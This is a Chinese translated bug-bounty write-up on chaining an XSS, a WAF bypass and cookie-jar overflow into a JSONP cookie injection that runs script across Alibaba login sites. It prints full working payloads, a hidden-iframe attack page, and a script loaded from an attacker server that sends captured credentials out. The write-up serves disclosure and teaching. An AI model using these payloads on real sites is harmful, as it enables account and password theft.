组合漏洞 + bypass waf 拿下阿里数个网站

1,144 阅读9分钟
原文链接: www.anquanke.com

 

这篇文章将要向大家分享一个案例:利用某些客户端漏洞获得数个阿里巴巴网站的用户帐户。

https://cdn-images-1.medium.com/max/1600/1*TK_JQ6ft2cI7ob9gG5z_sw.png

阿里巴巴在 hackerone.com上有一个很大的公测项目,一般情况下我不太测这个,他们对漏洞修复的态度特别拖拉。

 

开工

文章内容有点长,但还是需要先介绍下一些基础概念,比如JSONP,以及一些浏览器如何处理cookie的等等。

 

攻击

大多数阿里巴巴的网站都要加载并且执行一个外部的JS对象,通过这个JS代码可以从cookie中获取一个uid的值,而这个uid可以被攻击者替换掉,然后加载恶意的payload导致用户账户被窃取。

 

漏洞发现步骤简述

  • 发现一个URL返回的JS代码在很多阿里的网站上都会执行
  • 意识到这个URL在JS代码里面反射了cookie的值
  • 检索*.alipay.com网站中具有XSS的来控制cookie
  • 在一个子域名中发现一个存储型XSS
  • 操纵入口点两次绕过WAF
  • 用一个不常见的手段重写cookie
  • 在网站上执行JS代码,eg,login.alibaba.com
  • 写个exp来获得阿里网站上的任意用户
  • exp通过了几乎所有最新版本google chrome、火狐浏览器的测试。文末附上了POC。

一步步演示

接下来我主要讲述漏洞的细节部分,希望对安全团队所有帮助。

什么是JSONP

JSPON是一个用来发送JSON数据的方法:

  • 能加载外部的JS对象;
  • 不能使用XMLHttpRequest对象;
  • 安全性低;
  • 可以在浏览器中绕过SOP。
  • https://cdn-images-1.medium.com/max/2400/1*eyBzLorQLkJha9WFwBoGMw.png

可利用的外部JS对象

如图所示,很多阿里的网站都从这个网站外部加载JS对象:https://ynuf.alipay.com/uid

https://cdn-images-1.medium.com/max/1600/1*3wmfLCwbWv0MuKtdtUNfCw.png

js代码:

um.__idcb("5cb143654b94f4a5")

这个代码很简单。仔细观察可以发现5cb143654b94f4a5取自先前在ynuf.alipay.com域中设置的uid cookie。 如果用户没有cookie,则服务器会在响应中设置相应的值,否则取其值。 工作流程如图:

https://cdn-images-1.medium.com/max/2400/1*e9X8kuMBGm4FabyPd8AXtg.png

发现问题的request/response顺序:

GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Accept: */*
HTTP/1.1 200 OK
Date: Wed, 17 Oct 2018 17:38:10 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: d181bf00669d40c0
Set-Cookie: uid=d181bf00669d40c0; expires=Thu, 30 Jan 2031 08:00:00 GMT
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("26fadf90bac907a7")

第二个request/response包:

GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=d181bf00669d40c0
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("d181bf00669d40c0")

第三个request/response包:

GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=")+alert("Injected
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("")+alert("Injected")

因为这里没有对cookie值进行转义,因此可以注入恶意代码。那么什么样的漏洞可以导致控制cookie呢?

ynuf.alipay.com中的跨站点脚本攻击

在ynuf.alipay.com上花了点时间找XSS失败了,因为这个网站功能较少。

关于cookie的一个重要说明

乍看之下,需要ynuf.alipay.com中的XSS来改变cookie的值。 根据RFC6265,a.b.com可以设置具有域属性.b.com和a.b.com的cookie,其中浏览器自动将具有.b.com属性的cookie发送到b.com子域。

https://cdn-images-1.medium.com/max/2400/1*hW_ULvcBb2Cm6xLVtO4H3g.png

因此,通过x.y.alipay.com域名,可以设置带有.alipay.com和.y.alipay.com属性的cookie。 Cookie由浏览器用于所有.alipay.com子域名。 所以只需* .alipay.com中的一个小型XSS即可触发这一系列的站。 有效payload如下:

uid=")+alert("xss;domain=.alipay.com

在*.alipay.com上发现XSS

一番搜索发现一个网站doc.open.alipay.com,访问下面这个URL重定向到这个用户:

https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo

仔细观察这个URL可以发现,JavaScript处理的重定向不是3xx。 查看代码还显示,可以通过向查询字符串添加articleId参数来阻止重定向。

https://cdn-images-1.medium.com/max/2400/1*phXgQ3EtUEHP1BD8JhvE_Q.png

触发XSS的第一个简单测试是通过双引号

https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo”>&articleId=bar

结果显示:

https://cdn-images-1.medium.com/max/2400/1*5hkjHU_Fx33IAMsnzEimUg.png

服务器端的处理:

https://cdn-images-1.medium.com/max/2400/1*RXWLEAzQXoDnUtkntliiZA.png

那有没机会利用XSS呢?

JS的魔力

在开始之前,我应该注意到一个jQuery棘手的地方。

棘手之处

如果jQuery通过.val()从表单中获取HTML编码值,则返回相应的HTML解码值。

 

<input id="input" value="&amp;&quot;" />

jQuery:

$('#input').val() // return &"

回到前面发现漏洞部分,仔细观察可以发现,反映关键字值的页面的一部分(在doc.open.alipay.com中)是由JavaScript制作的,为了找到构成该部分的JavaScript代码也是花了大力气:

gist.github.com/Voorivex/9b…

它是这个利用链中最重要的JavaScript代码,有很多话说,听我细细道来。 服务器正确编码输入JSearchKeywork中的参数关键字。 但是,考虑第3行,d.one(“.JSearchKeyword”).val()返回HTML解码值,该值在下面的几行中插入到页面中,目的是注入XSS有效payload,即使是HTML编码格式,它也不是什么公认的基于DOM的XSS攻击向量:

https://cdn-images-1.medium.com/max/2400/1*d1IwZ8q8hAKNOVB2J_B0kw.png

发送最简单的XSS有效payload。 but,服务器端很是烦人。 数据流:

https://cdn-images-1.medium.com/max/2400/1*c_bvpcjXsP4HPtGmrTnCJg.png

绕过服务器端处理

生成XSS的第一步是添加一个新的HTML标记。 但是,服务器貌似在对关键字参数传递的标签应用某种规则。 fuzzing一番:

https://cdn-images-1.medium.com/max/1600/1*rtpRLkqP0O8FCT8RIb7B3Q.png

猜测有以下规则/条件:

  1. 删除属性并闭合有效HTML标记的标记,<a href>转为<a> </a>
  2. 无效标签被递归完全删除。<blah>或<bl <blah>ah>没有了。
  • 进一步fuzzing:
  • https://cdn-images-1.medium.com/max/1600/1*T1Y202xmALBKFNphMeFQUw.png

一般情况下值&gt;和&lt;预计是要转义成&amp; gt;和&amp; lt;。 但 事实上,上一个request/response显示的不是这样的,立马发现服务器正在应用自定义HTML编码器功能:

1.输入未被识别为有效的html编码值 – > html_encode(value)

2.如果输入被识别为有效的HTML编码值 – >返回 value  这个有个小问题但是是一个很大的漏洞。 神奇的输入是:

">%26gt;script%26lt;

https://cdn-images-1.medium.com/max/2400/1*BIrsrHOXAzk0U5joj2ChaQ.png

然后,注入XSS有效payload:

https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=">%26gt;script%26lt;

结果:

https://cdn-images-1.medium.com/max/1600/1*E2qVoeqiQw_8ox8xTFIxsg.jpeg

被WAF拦了。

绕过WAF

利用服务器端过滤功能的第二条规则(删除无效的HTML标记)可以成功绕过WAF。

https://cdn-images-1.medium.com/max/1600/1*8OXS5ScpVFNkghnwq062rw.png

数据流:

https://cdn-images-1.medium.com/max/2400/1*BIrsrHOXAzk0U5joj2ChaQ.png

可是没有成功。 因为JavaScript发出了另一个AJAX请求。 考虑到gist代码的第10行,之前提到的JavaScript库依赖于AJAX请求。 请求是:

https://doc.open.alipay.com/doc2/search.htm?platformId&keyword=”><script>&searchType=0&current=1

再一次被WAF拦截,因为检测到payload是恶意的(毫无疑问,任何WAF应该阻止“> <script>)。坏消息是根据库只有200状态码才能够触发payload(第11行) 要点):

if (200 == b.code) {

因此,需要一个有效payload能同时绕过两个请求中的WAF。 这就需要更多的模糊测试了。 测试了几组后,发现了有效的payload:

<details/open/ontoggle=JS>

https://cdn-images-1.medium.com/max/1600/1*V0uYXS-TjwBYImVUXVhSXg.png

感谢HTML 5。所以最终的有效payload是:

https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=”>%26gt;details%2fopen%2fontoggle=%26lt;

第二个AJAX请求

https://doc.open.alipay.com/doc2/search.htm?platformId&keyword=”><details/open/ontoggle=>&searchType=0&current=1

均成功绕过WAF!

https://cdn-images-1.medium.com/max/1600/1*OGourKc9wJQeQPNaECUlvQ.png

利用场景

  • 构建恶意HTML网页
  • 诱骗用户访问我们的网页
  • 设置恶意cookie
  • 将JavaScript注入许多阿里巴巴的子域
  • 抓取证书

遇到的问题

  • 由于ynuf.alipay.com使用uid名称为其域设置cookie,因此无法从其他域名覆盖。 使用.alipay.com属性添加另一个具有相同名称的cookie也无法解决问题,因为如果域中存在两个名为xxx的cookie,则默认行为是浏览器在HTTP请求中将旧的一个放入,以便服务器获取第一个cookie。
  • https://cdn-images-1.medium.com/max/1600/1*Mn5fkNoG0BH-BVveYM39kQ.png

覆盖cookie

  • 测试表明,浏览器可以为每个域名节省有限数量的cookie。 例如,谷歌浏览器为一个域节省了不到150个cookie,而Firefox节省了大约200个。更多细节:
  • http://browsercookielimits.squawky.net/
  • 因此,有效载荷很简单:
  • for(var i=0;i<1000;i++){
    document.cookie=i+’=1;domain=.alipay.com’
    }
    document.cookie=’uid=foo;domain=.alipay.com;path=/’
  • 所以攻击向量通过添加许多垃圾cookie来消除旧的uid cookie,添加由恶意有效负载填充的新uid cookie。

弹窗payload

  • 由于WAF阻止了“)+alert(”xss,替换同等值绕过WAF:
  • document.cookie=’uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/’

综上

最终的payload比想象中的要简单很多:

https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/%27%22%3E

访问上面的URL会在cookie中注入恶意JavaScript代码,该代码能在阿里巴巴公司的许多域名中执行,例如:

https://login.alibaba.com/
https://passport.alibaba.com/mini_login.htm?appName=hrjob
https://accounts.alibaba.com/register/cnfm_reg.htm
https://login.taobao.com/member/login.jhtml
https://reg.taobao.com/member/reg/fill_mobile.htm
https://login.aliexpress.com/
http://tp.amap.com/
http://id.amap.com/
https://passport.alibaba-inc.com/ssoLogin.htm?APP_NAME=iworkmanage
https://ipp.alibabagroup.com/login.htm
https://mp.dayu.com/
https://passport.umeng.com/login
https://passport.damai.cn/loginEn
…………

最后一击

本次测试最终目标是在阿里巴巴的网站上进行窃取账号。 该方案诱使用户点击链接,然后如果用户下次登录,该帐户将被泄露。 触发漏洞的链接源:

<html>
<center>
<img src='https://pbs.twimg.com/profile_images/701729713392320512/PaYM_TF4_400x400.jpg'><img>
<iframe src="https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x28\x73\x63\x72\x69\x70\x74\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x27\x73\x63\x72\x69\x70\x74\x27\x29\x2c\x73\x63\x72\x69\x70\x74\x2e\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x78\x70\x6c\x2e\x6a\x73\x27\x2c\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x62\x6f\x64\x79\x2e\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64\x28\x73\x63\x72\x69\x70\x74\x29\x29\x2b\x28\x22;domain=.alipay.com;path=/%27%22%3E" style="width:0;height:0;border:0; border:none;"></iframe>
</html>

iframe代码使用下面payload而不是alert来注入恶意JavaScript文件并动态加载它:

"\")+(script=document.createElement('script'),script.src='https://myserver/xpl.js',document.body.appendChild(script))+(\""

paylaod定位在 https://myserver/xpl.js:

https://gist.github.com/Voorivex/fa975b30262b54ca3a6a671988e088e3#file-alibaba-final-xss-payload-js

终于等到一个用户访问了这个恶意链接并且登录了https://login.alibaba.com/,盗取token并且保存在https://myserver/xxx-alibaba/data.txt

{"u":"alibaba@alibaba.com","p":"password"}

成功获得用户名密码。

Demo

youtu.be/PA9UeftvAYY